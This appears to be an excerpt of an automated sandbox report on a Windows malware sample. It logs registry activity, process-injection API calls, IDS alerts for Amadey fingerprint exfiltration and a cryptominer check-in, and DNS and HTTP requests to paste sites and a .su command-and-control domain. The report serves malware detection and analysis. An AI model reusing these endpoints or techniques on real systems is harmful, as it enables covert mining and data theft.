Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8CE110 FindFirstFileExW,	32_2_000001D29E8CE110
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165EE110 FindFirstFileExW,	50_2_000002D0165EE110
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F151E110 FindFirstFileExW,	64_2_000002D6F151E110
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B0E110 FindFirstFileExW,	68_2_00000146F6B0E110
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FDE110 FindFirstFileExW,	69_2_0000014E41FDE110
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B08E110 FindFirstFileExW,	70_2_000001D15B08E110

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044697 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 : 192.168.2.6:49760 -> 188.114.97.3:443

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: rentry.co
Source: unknown	DNS query: name: justpaste.it
Source: unknown	DNS query: name: pastebin.com

Source: Joe Sandbox View	IP Address: 104.26.3.16 104.26.3.16
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ESPOL-ASPL ESPOL-ASPL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.6:61214 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.6:65333 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.6:65331 -> 188.114.97.3:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /5apf98os/raw HTTP/1.1Accept: /Connection: closeHost: rentry.coUser-Agent: cpp-httplib/0.12.6
Source: global traffic	HTTP traffic detected: GET /f86v1 HTTP/1.1Accept: /Connection: closeHost: justpaste.itUser-Agent: cpp-httplib/0.12.6
Source: global traffic	HTTP traffic detected: GET /raw/sFxN07Y7 HTTP/1.1Accept: /Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6

Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com
Source: global traffic	DNS traffic detected: DNS query: rentry.co
Source: global traffic	DNS traffic detected: DNS query: justpaste.it
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su

Source: unknown

HTTP traffic detected: POST /api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 374Content-Type: application/jsonHost: jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.suUser-Agent: cpp-httplib/0.12.6

Source: lsass.exe, 00000040.00000003.2552488160.000002D6F0CF2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: updater.exe, 00000025.00000003.2206694268.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: updater.exe, 00000025.00000003.2206694268.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: updater.exe, 00000025.00000003.2206694268.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: updater.exe, 00000025.00000003.2206694268.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: lsass.exe, 00000040.00000003.2552488160.000002D6F0CF2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: powershell.exe, 0000001D.00000002.2244051114.00000217E6C65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: lsass.exe, 00000040.00000003.2552488160.000002D6F0CF2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000001D.00000002.2211112447.00000217D6C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://rh.symcb.com/rh.crl0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://rh.symcb.com/rh.crt0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://rh.symcd.com0&
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com0
Source: powershell.exe, 0000001D.00000002.2211112447.00000217D6A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 0000001D.00000002.2211112447.00000217D6C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001D.00000002.2211112447.00000217D6A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa06
Source: powershell.exe, 0000001D.00000002.2211112447.00000217D6C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000001D.00000002.2211112447.00000217D7B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000001D.00000002.2254826196.00000217EEEFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.coP
Source: powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 65333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65333
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E0B8 NtUnmapViewOfSection,	29_2_00007FFD3467E0B8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E12C NtResumeThread,	29_2_00007FFD3467E12C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E10C NtSetContextThread,	29_2_00007FFD3467E10C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E0EA NtWriteVirtualMemory,	29_2_00007FFD3467E0EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E098 NtUnmapViewOfSection,	29_2_00007FFD3467E098
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD34680C6D NtWriteVirtualMemory,	29_2_00007FFD34680C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E11C NtSetContextThread,	29_2_00007FFD3467E11C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD34680A4E NtUnmapViewOfSection,	29_2_00007FFD34680A4E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD34680F30 NtSetContextThread,	29_2_00007FFD34680F30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD34680FF4 NtResumeThread,	29_2_00007FFD34680FF4
Source: C:\Windows\System32\dllhost.exe	Code function: 45_2_0000000140001860 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	45_2_0000000140001860
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165E2990 NtEnumerateValueKey,NtEnumerateValueKey,	50_2_000002D0165E2990
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F151211C NtQuerySystemInformation,StrCmpNIW,	64_2_000002D6F151211C
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F1512604 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	64_2_000002D6F1512604
Source: C:\Windows\System32\dialer.exe	Code function: 65_2_0000000140001394 NtMapCMFModule,	65_2_0000000140001394
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD346A0C5D NtWriteVirtualMemory,	67_2_00007FFD346A0C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD346A0F20 NtSetContextThread,	67_2_00007FFD346A0F20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD3469DF98 NtUnmapViewOfSection,	67_2_00007FFD3469DF98
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD346A0FE4 NtResumeThread,	67_2_00007FFD346A0FE4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD3469E078 NtUnmapViewOfSection,	67_2_00007FFD3469E078
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD346A0A3E NtUnmapViewOfSection,	67_2_00007FFD346A0A3E
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B082990 NtEnumerateValueKey,NtEnumerateValueKey,	70_2_000001D15B082990

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\xptjtnajcbas.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_s1u0d5sj.rn0.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467DD68	29_2_00007FFD3467DD68
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467B3FB	29_2_00007FFD3467B3FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467C498	29_2_00007FFD3467C498
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD34673E45	29_2_00007FFD34673E45
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467C9FB	29_2_00007FFD3467C9FB
